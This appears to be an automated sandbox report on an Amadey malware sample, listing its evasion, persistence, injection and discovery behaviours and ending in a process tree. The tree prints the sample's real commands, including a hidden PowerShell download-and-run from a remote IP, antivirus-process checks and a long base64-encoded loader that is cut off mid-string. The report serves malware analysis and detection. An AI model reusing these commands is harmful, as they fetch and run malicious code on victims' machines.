amadey | 1285fdb82e7930812a9c52e680143cea311d8b147cb7aa8b6ea3637e8b94a9fc

Virtualization/Sandbox Evasion

description	ioc	Process
Key opened	\REGISTRY\MACHINE\HARDWARE\ACPI\DSDT\VBOX__	rapes.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\ACPI\DSDT\VBOX__	1285fdb82e7930812a9c52e680143cea311d8b147cb7aa8b6ea3637e8b94a9fc.exe

Command and Scripting Interpreter: PowerShell 1 TTPs 10 IoCs

Run Powershell and hide display window.

execution

PowerShell

T1059.001

pid	Process
2292	powershell.exe
2784	powershell.exe
2628	powershell.exe
2076	powershell.exe
2292	powershell.exe
2076	powershell.exe
1480	powershell.exe
2916	powershell.exe
2008	powershell.exe
372	powershell.exe

Downloads MZ/PE file 4 IoCs

flow	pid	Process
9	2824	rapes.exe
5	2824	rapes.exe
5	2824	rapes.exe
5	2824	rapes.exe

Checks BIOS information in registry 2 TTPs 4 IoCs

BIOS information is often read in order to detect sandboxing environments.

Query Registry

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosVersion	rapes.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\VideoBiosVersion	rapes.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosVersion	1285fdb82e7930812a9c52e680143cea311d8b147cb7aa8b6ea3637e8b94a9fc.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\VideoBiosVersion	1285fdb82e7930812a9c52e680143cea311d8b147cb7aa8b6ea3637e8b94a9fc.exe

Drops startup file 3 IoCs

description	ioc	Process
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\TradeHub.url	cmd.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\TradeHub.url	cmd.exe
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\TypeName.vbs	T0QdO0l.exe

Executes dropped EXE 15 IoCs

pid	Process
2824	rapes.exe
2696	HmngBpR.exe
3012	SplashWin.exe
3064	SplashWin.exe
1636	ADFoyxP.exe
2192	Seat.com
376	9hUDDVk.exe
2956	pwHxMTy.exe
2304	T0QdO0l.exe
2252	jdehFMM.exe
3628	6sbmSAg.exe
2992	6sbmSAg.exe
2036	amnew.exe
1448	futors.exe
1260	Explorer.EXE

Identifies Wine through registry keys 2 TTPs 2 IoCs

Wine is a compatibility layer capable of running Windows applications, which can be used as sandboxing environment.

defense_evasion

Query Registry

Virtualization/Sandbox Evasion

description	ioc	Process
Key opened	\REGISTRY\USER\S-1-5-21-2703099537-420551529-3771253338-1000\Software\Wine	1285fdb82e7930812a9c52e680143cea311d8b147cb7aa8b6ea3637e8b94a9fc.exe
Key opened	\REGISTRY\USER\S-1-5-21-2703099537-420551529-3771253338-1000\Software\Wine	rapes.exe

Loads dropped DLL 40 IoCs

pid	Process
2340	1285fdb82e7930812a9c52e680143cea311d8b147cb7aa8b6ea3637e8b94a9fc.exe
2340	1285fdb82e7930812a9c52e680143cea311d8b147cb7aa8b6ea3637e8b94a9fc.exe
2824	rapes.exe
3012	SplashWin.exe
3012	SplashWin.exe
3012	SplashWin.exe
3012	SplashWin.exe
3064	SplashWin.exe
3064	SplashWin.exe
3064	SplashWin.exe
2824	rapes.exe
1060	cmd.exe
2824	rapes.exe
2192	Seat.com
2824	rapes.exe
2824	rapes.exe
2848	WerFault.exe
2848	WerFault.exe
2848	WerFault.exe
2848	WerFault.exe
2848	WerFault.exe
2824	rapes.exe
2824	rapes.exe
2824	rapes.exe
3352	WerFault.exe
3352	WerFault.exe
3352	WerFault.exe
3352	WerFault.exe
3352	WerFault.exe
2824	rapes.exe
3628	6sbmSAg.exe
2992	6sbmSAg.exe
2992	6sbmSAg.exe
2992	6sbmSAg.exe
2992	6sbmSAg.exe
2992	6sbmSAg.exe
2992	6sbmSAg.exe
2992	6sbmSAg.exe
2824	rapes.exe
2036	amnew.exe

Enumerates processes with tasklist 1 TTPs 4 IoCs

discovery

Process Discovery

T1057

pid	Process
2424	tasklist.exe
3444	tasklist.exe
2580	tasklist.exe
544	tasklist.exe

Suspicious use of NtSetInformationThreadHideFromDebugger 2 IoCs

pid	Process
2340	1285fdb82e7930812a9c52e680143cea311d8b147cb7aa8b6ea3637e8b94a9fc.exe
2824	rapes.exe

Suspicious use of SetThreadContext 1 IoCs

description	pid	Process	procid_target
PID 3064 set thread context of 2388	3064	SplashWin.exe	36

Drops file in Windows directory 9 IoCs

description	ioc	Process
File created	C:\Windows\Tasks\rapes.job	1285fdb82e7930812a9c52e680143cea311d8b147cb7aa8b6ea3637e8b94a9fc.exe
File opened for modification	C:\Windows\PerfectlyFda	ADFoyxP.exe
File opened for modification	C:\Windows\GovernmentsHighly	ADFoyxP.exe
File opened for modification	C:\Windows\FilenameWho	ADFoyxP.exe
File created	C:\Windows\Tasks\futors.job	amnew.exe
File opened for modification	C:\Windows\AccreditationShed	ADFoyxP.exe
File opened for modification	C:\Windows\HighKerry	ADFoyxP.exe
File opened for modification	C:\Windows\PracticalPrevent	ADFoyxP.exe
File opened for modification	C:\Windows\UpdatedMakeup	ADFoyxP.exe

Detects Pyinstaller 1 IoCs

pyinstaller

resource	yara_rule
behavioral1/files/0x000700000001c8be-1719.dat	pyinstaller

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Program crash 6 IoCs

pid	pid_target	Process	procid_target
2848	376	WerFault.exe	59
1964	1512	WerFault.exe	60
3352	2304	WerFault.exe	64
3052	1976	WerFault.exe	89
2232	3740	WerFault.exe	100
2528	2224	WerFault.exe	90

System Location Discovery: System Language Discovery 1 TTPs 32 IoCs

Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

discovery

System Language Discovery

T1614.001

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	powershell.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	9hUDDVk.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	ADFoyxP.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	tasklist.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	powershell.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	1285fdb82e7930812a9c52e680143cea311d8b147cb7aa8b6ea3637e8b94a9fc.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	T0QdO0l.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	rapes.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	SplashWin.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	tasklist.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	Seat.com
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	choice.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	powershell.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	SplashWin.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	findstr.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	pwHxMTy.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	amnew.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	findstr.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	explorer.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	expand.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	extrac32.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	findstr.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	schtasks.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe

Scheduled Task/Job: Scheduled Task 1 TTPs 1 IoCs

Schtasks is often used by malware for persistence or to perform post-infection execution.

persistence execution

Scheduled Task

pid	Process
2784	schtasks.exe

Suspicious behavior: EnumeratesProcesses 39 IoCs

pid	Process
2340	1285fdb82e7930812a9c52e680143cea311d8b147cb7aa8b6ea3637e8b94a9fc.exe
2824	rapes.exe
2696	HmngBpR.exe
2696	HmngBpR.exe
3012	SplashWin.exe
3064	SplashWin.exe
3064	SplashWin.exe
3064	SplashWin.exe
2192	Seat.com
2192	Seat.com
2192	Seat.com
2192	Seat.com
2192	Seat.com
2192	Seat.com
2192	Seat.com
2192	Seat.com
2192	Seat.com
2192	Seat.com
2192	Seat.com
2192	Seat.com
2192	Seat.com
2192	Seat.com
2192	Seat.com
2192	Seat.com
2192	Seat.com
2192	Seat.com
2388	cmd.exe
2388	cmd.exe
2192	Seat.com
2192	Seat.com
2192	Seat.com
2292	powershell.exe
1480	powershell.exe
2292	powershell.exe
2292	powershell.exe
2916	powershell.exe
2784	powershell.exe
2304	T0QdO0l.exe
2008	powershell.exe

Suspicious behavior: MapViewOfSection 2 IoCs

pid	Process
3064	SplashWin.exe
2388	cmd.exe

Suspicious use of AdjustPrivilegeToken 9 IoCs

description	pid	Process
Token: SeDebugPrivilege	544	tasklist.exe
Token: SeDebugPrivilege	2424	tasklist.exe
Token: SeDebugPrivilege	2292	powershell.exe
Token: SeDebugPrivilege	1480	powershell.exe
Token: SeDebugPrivilege	2304	T0QdO0l.exe
Token: SeDebugPrivilege	2916	powershell.exe
Token: SeDebugPrivilege	2784	powershell.exe
Token: SeDebugPrivilege	2304	T0QdO0l.exe
Token: SeDebugPrivilege	2008	powershell.exe

Suspicious use of FindShellTrayWindow 5 IoCs

pid	Process
2340	1285fdb82e7930812a9c52e680143cea311d8b147cb7aa8b6ea3637e8b94a9fc.exe
2192	Seat.com
2192	Seat.com
2192	Seat.com
2036	amnew.exe

Suspicious use of SendNotifyMessage 3 IoCs

pid	Process
2192	Seat.com
2192	Seat.com
2192	Seat.com

Suspicious use of SetWindowsHookEx 1 IoCs

pid	Process
2696	HmngBpR.exe

Suspicious use of WriteProcessMemory 64 IoCs

description	pid	Process	procid_target
PID 2340 wrote to memory of 2824	2340	1285fdb82e7930812a9c52e680143cea311d8b147cb7aa8b6ea3637e8b94a9fc.exe	30
PID 2340 wrote to memory of 2824	2340	1285fdb82e7930812a9c52e680143cea311d8b147cb7aa8b6ea3637e8b94a9fc.exe	30
PID 2340 wrote to memory of 2824	2340	1285fdb82e7930812a9c52e680143cea311d8b147cb7aa8b6ea3637e8b94a9fc.exe	30
PID 2340 wrote to memory of 2824	2340	1285fdb82e7930812a9c52e680143cea311d8b147cb7aa8b6ea3637e8b94a9fc.exe	30
PID 2824 wrote to memory of 2696	2824	rapes.exe	33
PID 2824 wrote to memory of 2696	2824	rapes.exe	33
PID 2824 wrote to memory of 2696	2824	rapes.exe	33
PID 2824 wrote to memory of 2696	2824	rapes.exe	33
PID 2696 wrote to memory of 3012	2696	HmngBpR.exe	34
PID 2696 wrote to memory of 3012	2696	HmngBpR.exe	34
PID 2696 wrote to memory of 3012	2696	HmngBpR.exe	34
PID 2696 wrote to memory of 3012	2696	HmngBpR.exe	34
PID 3012 wrote to memory of 3064	3012	SplashWin.exe	35
PID 3012 wrote to memory of 3064	3012	SplashWin.exe	35
PID 3012 wrote to memory of 3064	3012	SplashWin.exe	35
PID 3012 wrote to memory of 3064	3012	SplashWin.exe	35
PID 3064 wrote to memory of 2388	3064	SplashWin.exe	36
PID 3064 wrote to memory of 2388	3064	SplashWin.exe	36
PID 3064 wrote to memory of 2388	3064	SplashWin.exe	36
PID 3064 wrote to memory of 2388	3064	SplashWin.exe	36
PID 3064 wrote to memory of 2388	3064	SplashWin.exe	36
PID 2824 wrote to memory of 1636	2824	rapes.exe	38
PID 2824 wrote to memory of 1636	2824	rapes.exe	38
PID 2824 wrote to memory of 1636	2824	rapes.exe	38
PID 2824 wrote to memory of 1636	2824	rapes.exe	38
PID 1636 wrote to memory of 1060	1636	ADFoyxP.exe	39
PID 1636 wrote to memory of 1060	1636	ADFoyxP.exe	39
PID 1636 wrote to memory of 1060	1636	ADFoyxP.exe	39
PID 1636 wrote to memory of 1060	1636	ADFoyxP.exe	39
PID 1060 wrote to memory of 1456	1060	cmd.exe	41
PID 1060 wrote to memory of 1456	1060	cmd.exe	41
PID 1060 wrote to memory of 1456	1060	cmd.exe	41
PID 1060 wrote to memory of 1456	1060	cmd.exe	41
PID 1060 wrote to memory of 544	1060	cmd.exe	42
PID 1060 wrote to memory of 544	1060	cmd.exe	42
PID 1060 wrote to memory of 544	1060	cmd.exe	42
PID 1060 wrote to memory of 544	1060	cmd.exe	42
PID 1060 wrote to memory of 2476	1060	cmd.exe	43
PID 1060 wrote to memory of 2476	1060	cmd.exe	43
PID 1060 wrote to memory of 2476	1060	cmd.exe	43
PID 1060 wrote to memory of 2476	1060	cmd.exe	43
PID 1060 wrote to memory of 2424	1060	cmd.exe	45
PID 1060 wrote to memory of 2424	1060	cmd.exe	45
PID 1060 wrote to memory of 2424	1060	cmd.exe	45
PID 1060 wrote to memory of 2424	1060	cmd.exe	45
PID 1060 wrote to memory of 2128	1060	cmd.exe	46
PID 1060 wrote to memory of 2128	1060	cmd.exe	46
PID 1060 wrote to memory of 2128	1060	cmd.exe	46
PID 1060 wrote to memory of 2128	1060	cmd.exe	46
PID 1060 wrote to memory of 2552	1060	cmd.exe	47
PID 1060 wrote to memory of 2552	1060	cmd.exe	47
PID 1060 wrote to memory of 2552	1060	cmd.exe	47
PID 1060 wrote to memory of 2552	1060	cmd.exe	47
PID 1060 wrote to memory of 2716	1060	cmd.exe	48
PID 1060 wrote to memory of 2716	1060	cmd.exe	48
PID 1060 wrote to memory of 2716	1060	cmd.exe	48
PID 1060 wrote to memory of 2716	1060	cmd.exe	48
PID 1060 wrote to memory of 2352	1060	cmd.exe	49
PID 1060 wrote to memory of 2352	1060	cmd.exe	49
PID 1060 wrote to memory of 2352	1060	cmd.exe	49
PID 1060 wrote to memory of 2352	1060	cmd.exe	49
PID 1060 wrote to memory of 2952	1060	cmd.exe	50
PID 1060 wrote to memory of 2952	1060	cmd.exe	50
PID 1060 wrote to memory of 2952	1060	cmd.exe	50

C:\Windows\Explorer.EXE
C:\Windows\Explorer.EXE
1⤵
- Executes dropped EXE
PID:1260
- C:\Users\Admin\AppData\Local\Temp\1285fdb82e7930812a9c52e680143cea311d8b147cb7aa8b6ea3637e8b94a9fc.exe
  "C:\Users\Admin\AppData\Local\Temp\1285fdb82e7930812a9c52e680143cea311d8b147cb7aa8b6ea3637e8b94a9fc.exe"
  2⤵
  - Identifies VirtualBox via ACPI registry values (likely anti-VM)
  - Checks BIOS information in registry
  - Identifies Wine through registry keys
  - Loads dropped DLL
  - Suspicious use of NtSetInformationThreadHideFromDebugger
  - Drops file in Windows directory
  - System Location Discovery: System Language Discovery
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of FindShellTrayWindow
  - Suspicious use of WriteProcessMemory
  PID:2340
- - C:\Users\Admin\AppData\Local\Temp\bb556cff4a\rapes.exe
    "C:\Users\Admin\AppData\Local\Temp\bb556cff4a\rapes.exe"
    3⤵
    - Identifies VirtualBox via ACPI registry values (likely anti-VM)
    - Downloads MZ/PE file
    - Checks BIOS information in registry
    - Executes dropped EXE
    - Identifies Wine through registry keys
    - Loads dropped DLL
    - Suspicious use of NtSetInformationThreadHideFromDebugger
    - System Location Discovery: System Language Discovery
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of WriteProcessMemory
    PID:2824
  - - C:\Users\Admin\AppData\Local\Temp\10111840101\HmngBpR.exe
      "C:\Users\Admin\AppData\Local\Temp\10111840101\HmngBpR.exe"
      4⤵
      Executes dropped EXE
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of SetWindowsHookEx
      Suspicious use of WriteProcessMemory
      PID:2696
    - - C:\Users\Admin\AppData\Local\Temp\KM_daemon\SplashWin.exe
        
        C:\Users\Admin\AppData\Local\Temp\KM_daemon\SplashWin.exe
        5⤵
        Executes dropped EXE
        Loads dropped DLL
        System Location Discovery: System Language Discovery
        Suspicious behavior: EnumeratesProcesses
        Suspicious use of WriteProcessMemory
        
        PID:3012
      - C:\Users\Admin\AppData\Roaming\KM_daemon\SplashWin.exe
        
        C:\Users\Admin\AppData\Roaming\KM_daemon\SplashWin.exe
        6⤵
        Executes dropped EXE
        Loads dropped DLL
        Suspicious use of SetThreadContext
        System Location Discovery: System Language Discovery
        Suspicious behavior: EnumeratesProcesses
        Suspicious behavior: MapViewOfSection
        Suspicious use of WriteProcessMemory
        
        PID:3064
        
        C:\Windows\SysWOW64\cmd.exe
        
        C:\Windows\SysWOW64\cmd.exe
        7⤵
        System Location Discovery: System Language Discovery
        Suspicious behavior: EnumeratesProcesses
        Suspicious behavior: MapViewOfSection
        
        PID:2388
        
        C:\Windows\SysWOW64\explorer.exe
        
        C:\Windows\SysWOW64\explorer.exe
        8⤵
        System Location Discovery: System Language Discovery
        
        PID:1512
        
        C:\Windows\SysWOW64\WerFault.exe
        
        C:\Windows\SysWOW64\WerFault.exe -u -p 1512 -s 256
        9⤵
        Program crash
        
        PID:1964
  - - C:\Users\Admin\AppData\Local\Temp\10112790101\ADFoyxP.exe
      "C:\Users\Admin\AppData\Local\Temp\10112790101\ADFoyxP.exe"
      4⤵
      Executes dropped EXE
      Drops file in Windows directory
      System Location Discovery: System Language Discovery
      Suspicious use of WriteProcessMemory
      PID:1636
    - - C:\Windows\SysWOW64\cmd.exe
        
        "C:\Windows\system32\cmd.exe" /c expand Go.pub Go.pub.bat & Go.pub.bat
        5⤵
        Loads dropped DLL
        System Location Discovery: System Language Discovery
        Suspicious use of WriteProcessMemory
        
        PID:1060
      - C:\Windows\SysWOW64\expand.exe
        
        expand Go.pub Go.pub.bat
        6⤵
        System Location Discovery: System Language Discovery
        
        PID:1456
      - C:\Windows\SysWOW64\tasklist.exe
        
        tasklist
        6⤵
        Enumerates processes with tasklist
        System Location Discovery: System Language Discovery
        Suspicious use of AdjustPrivilegeToken
        
        PID:544
      - C:\Windows\SysWOW64\findstr.exe
        
        findstr /I "opssvc wrsa"
        6⤵
        System Location Discovery: System Language Discovery
        
        PID:2476
      - C:\Windows\SysWOW64\tasklist.exe
        
        tasklist
        6⤵
        Enumerates processes with tasklist
        System Location Discovery: System Language Discovery
        Suspicious use of AdjustPrivilegeToken
        
        PID:2424
      - C:\Windows\SysWOW64\findstr.exe
        
        findstr "bdservicehost AvastUI AVGUI nsWscSvc ekrn SophosHealth"
        6⤵
        System Location Discovery: System Language Discovery
        
        PID:2128
      - C:\Windows\SysWOW64\cmd.exe
        
        cmd /c md 353090
        6⤵
        System Location Discovery: System Language Discovery
        
        PID:2552
      - C:\Windows\SysWOW64\extrac32.exe
        
        extrac32 /Y /E Really.pub
        6⤵
        System Location Discovery: System Language Discovery
        
        PID:2716
      - C:\Windows\SysWOW64\findstr.exe
        
        findstr /V "posted" Good
        6⤵
        System Location Discovery: System Language Discovery
        
        PID:2352
      - C:\Windows\SysWOW64\cmd.exe
        
        cmd /c copy /b 353090\Seat.com + Pf + Somewhere + Volumes + Commission + Lane + Hit + Strong + Copied + Wearing + Acquire 353090\Seat.com
        6⤵
        System Location Discovery: System Language Discovery
        
        PID:2952
      - C:\Windows\SysWOW64\cmd.exe
        
        cmd /c copy /b ..\Maintains.pub + ..\Legislation.pub + ..\Blood.pub + ..\Document.pub + ..\Breaks.pub + ..\Both.pub + ..\Explicitly.pub + ..\Governor.pub + ..\Bull.pub + ..\Comparison.pub + ..\Performing.pub + ..\Gate.pub + ..\Republican.pub + ..\Reverse.pub + ..\Thousand.pub + ..\Apartments.pub + ..\Swingers.pub + ..\Urban.pub + ..\Robert.pub + ..\Regulation.pub + ..\Confusion.pub + ..\Listening.pub + ..\Generating.pub + ..\Argentina.pub + ..\Amenities.pub + ..\Vacation.pub + ..\Vampire.pub + ..\Trademarks.pub + ..\Distinguished.pub + ..\Silly.pub + ..\Hell.pub + ..\Worcester.pub + ..\Concept.pub + ..\Enlarge.pub + ..\Preference.pub + ..\Poem.pub m
        6⤵
        System Location Discovery: System Language Discovery
        
        PID:2184
      - C:\Users\Admin\AppData\Local\Temp\353090\Seat.com
        
        Seat.com m
        6⤵
        Suspicious use of NtCreateUserProcessOtherParentProcess
        Executes dropped EXE
        Loads dropped DLL
        System Location Discovery: System Language Discovery
        Suspicious behavior: EnumeratesProcesses
        Suspicious use of FindShellTrayWindow
        Suspicious use of SendNotifyMessage
        
        PID:2192
        
        C:\Users\Admin\AppData\Local\Temp\353090\RegAsm.exe
        
        C:\Users\Admin\AppData\Local\Temp\353090\RegAsm.exe
        7⤵
        
        PID:3060
      - C:\Windows\SysWOW64\choice.exe
        
        choice /d y /t 5
        6⤵
        System Location Discovery: System Language Discovery
        
        PID:1376
  - - C:\Users\Admin\AppData\Local\Temp\10114440101\9hUDDVk.exe
      "C:\Users\Admin\AppData\Local\Temp\10114440101\9hUDDVk.exe"
      4⤵
      Executes dropped EXE
      System Location Discovery: System Language Discovery
      PID:376
    - - C:\Windows\SysWOW64\WerFault.exe
        
        C:\Windows\SysWOW64\WerFault.exe -u -p 376 -s 840
        5⤵
        Loads dropped DLL
        Program crash
        
        PID:2848
  - - C:\Users\Admin\AppData\Local\Temp\10114630101\pwHxMTy.exe
      "C:\Users\Admin\AppData\Local\Temp\10114630101\pwHxMTy.exe"
      4⤵
      Executes dropped EXE
      System Location Discovery: System Language Discovery
      PID:2956
  - - C:\Users\Admin\AppData\Local\Temp\10115790101\T0QdO0l.exe
      "C:\Users\Admin\AppData\Local\Temp\10115790101\T0QdO0l.exe"
      4⤵
      Drops startup file
      Executes dropped EXE
      System Location Discovery: System Language Discovery
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of AdjustPrivilegeToken
      PID:2304
    - - C:\Windows\SysWOW64\WerFault.exe
        
        C:\Windows\SysWOW64\WerFault.exe -u -p 2304 -s 648
        5⤵
        Loads dropped DLL
        Program crash
        
        PID:3352
  - - C:\Users\Admin\AppData\Local\Temp\10118770101\jdehFMM.exe
      "C:\Users\Admin\AppData\Local\Temp\10118770101\jdehFMM.exe"
      4⤵
      Executes dropped EXE
      PID:2252
    - - C:\Windows\system32\cmd.exe
        
        "C:\Windows\system32\cmd.exe" /c "C:\Users\Admin\AppData\Local\Temp\E36C.tmp\E36D.tmp\E36E.bat C:\Users\Admin\AppData\Local\Temp\10118770101\jdehFMM.exe"
        5⤵
        
        PID:764
      - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        powershell -ExecutionPolicy Bypass -NoProfile -WindowStyle Hidden -Command "& {Invoke-WebRequest -Uri 'http://45.144.212.77:16000/setup' -OutFile 'C:\Users\Admin\AppData\Local\Temp\installer.ps1'; Start-Process 'powershell.exe' -ArgumentList '-ExecutionPolicy Bypass -NoProfile -File \"C:\Users\Admin\AppData\Local\Temp\installer.ps1\"' -WindowStyle Hidden}"
        6⤵
        Command and Scripting Interpreter: PowerShell
        Suspicious behavior: EnumeratesProcesses
        Suspicious use of AdjustPrivilegeToken
        
        PID:2292
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass -NoProfile -File "C:\Users\Admin\AppData\Local\Temp\installer.ps1"
        7⤵
        Command and Scripting Interpreter: PowerShell
        Suspicious behavior: EnumeratesProcesses
        Suspicious use of AdjustPrivilegeToken
        
        PID:1480
  - - C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\System32\cmd.exe" /C "C:\Users\Admin\AppData\Local\Temp\10119311121\1b3yDoR.cmd"
      4⤵
      System Location Discovery: System Language Discovery
      PID:2224
    - - C:\Windows\SysWOW64\cmd.exe
        
        C:\Windows\system32\cmd.exe /K "C:\Users\Admin\AppData\Local\Temp\10119311121\1b3yDoR.cmd"
        5⤵
        System Location Discovery: System Language Discovery
        
        PID:2884
      - C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -noprofile -windowstyle hidden -ep bypass -Command "[Text.Encoding]::UTF8.GetString([Convert]::FromBase64String('JHVzZXJOYW1lID0gJGVudjpVU0VSTkFNRTskZmZ0bnogPSAiQzpcVXNlcnNcJHVzZXJOYW1lXGR3bS5iYXQiO2lmIChUZXN0LVBhdGggJGZmdG56KSB7ICAgIFdyaXRlLUhvc3QgIkJhdGNoIGZpbGUgZm91bmQ6ICRmZnRueiIgLUZvcmVncm91bmRDb2xvciBDeWFuOyAgICAkZmlsZUxpbmVzID0gW1N5c3RlbS5JTy5GaWxlXTo6UmVhZEFsbExpbmVzKCRmZnRueiwgW1N5c3RlbS5UZXh0LkVuY29kaW5nXTo6VVRGOCk7ICAgIGZvcmVhY2ggKCRsaW5lIGluICRmaWxlTGluZXMpIHsgICAgICAgIGlmICgkbGluZSAtbWF0Y2ggJ146OjogPyguKykkJykgeyAgICAgICAgICAgIFdyaXRlLUhvc3QgIkluamVjdGlvbiBjb2RlIGRldGVjdGVkIGluIHRoZSBiYXRjaCBmaWxlLiIgLUZvcmVncm91bmRDb2xvciBDeWFuOyAgICAgICAgICAgIHRyeSB7ICAgICAgICAgICAgICAgICRkZWNvZGVkQnl0ZXMgPSBbU3lzdGVtLkNvbnZlcnRdOjpGcm9tQmFzZTY0U3RyaW5nKCRtYXRjaGVzWzFdLlRyaW0oKSk7ICAgICAgICAgICAgICAgICRpbmplY3Rpb25Db2RlID0gW1N5c3RlbS5UZXh0LkVuY29kaW5nXTo6VW5pY29kZS5HZXRTdHJpbmcoJGRlY29kZWRCeXRlcyk7ICAgICAgICAgICAgICAgIFdyaXRlLUhvc3QgIkluamVjdGlvbiBjb2RlIGRlY29kZWQgc3VjY2Vzc2Z1bGx5LiIgLUZvcmVncm91bmRDb2xvciBHcmVlbjsgICAgICAgICAgICAgICAgV3JpdGUtSG9zdCAiRXhlY3V0aW5nIGluamVjdGlvbiBjb2RlLi4uIiAtRm9yZWdyb3VuZENvbG9yIFllbGxvdzsgICAgICAgICAgICAgICAgSW52b2tlLUV4cHJlc3Npb24gJGluamVjdGlvbkNvZGU7ICAgICAgICAgICAgICAgIGJyZWFrOyAgICAgICAgICAgIH0gY2F0Y2ggeyAgICAgICAgICAgICAgICBXcml0ZS1Ib3N0ICJFcnJvciBkdXJpbmcgZGVjb2Rpbmcgb3IgZXhlY3V0aW5nIGluamVjdGlvbiBjb2RlOiAkXyIgLUZvcmVncm91bmRDb2xvciBSZWQ7ICAgICAgICAgICAgfTsgICAgICAgIH07ICAgIH07fSBlbHNlIHsgICAgICBXcml0ZS1Ib3N0ICJTeXN0ZW0gRXJyb3I6IEJhdGNoIGZpbGUgbm90IGZvdW5kOiAkZmZ0bnoiIC1Gb3JlZ3JvdW5kQ29sb3IgUmVkOyAgICBleGl0O307ZnVuY3Rpb24gdHp6a2ooJHBhcmFtX3Zhcil7CSRhZXNfdmFyPVtTeXN0ZW0uU2VjdXJpdHkuQ3J5cHRvZ3JhcGh5LkFlc106OkNyZWF0ZSgpOwkkYWVzX3Zhci5Nb2RlPVtTeXN0ZW0uU2VjdXJpdHkuQ3J5cHRvZ3JhcGh5LkNpcGhlck1vZGVdOjpDQkM7CSRhZXNfdmFyLlBhZGRpbmc9W1N5c3RlbS5TZWN1cml0eS5DcnlwdG9ncmFwaHkuUGFkZGluZ01vZGVdOjpQS0NTNzsJJGFlc192YXIuS2V5PVtTeXN0ZW0uQ29udmVydF06OkZyb21CYXNlNjRTdHJpbmcoJ25ZaHg4TTNkRGdlZXV5R0w4TmpHdUhVaSszUzJid1oxamJNVXB2SkVJRUk9Jyk7CSRhZXNfdmFyLklWPVtTeXN0ZW0uQ29udmVydF06OkZyb21CYXNlNjRTdHJpbmcoJ2diNktFYTlLWEVoNHl3dDZYNURoK3c9PScpOwkkZGVjcnlwdG9yX3Zhcj0kYWVzX3Zhci5DcmVhdGVEZWNyeXB0b3IoKTsJJHJldHVybl92YXI9JGRlY3J5cHRvcl92YXIuVHJhbnNmb3JtRmluYWxCbG9jaygkcGFyYW1fdmFyLCAwLCAkcGFyYW1fdmFyLkxlbmd0aCk7CSRkZWNyeXB0b3JfdmFyLkRpc3Bvc2UoKTsJJGFlc192YXIuRGlzcG9zZSgpOwkkcmV0d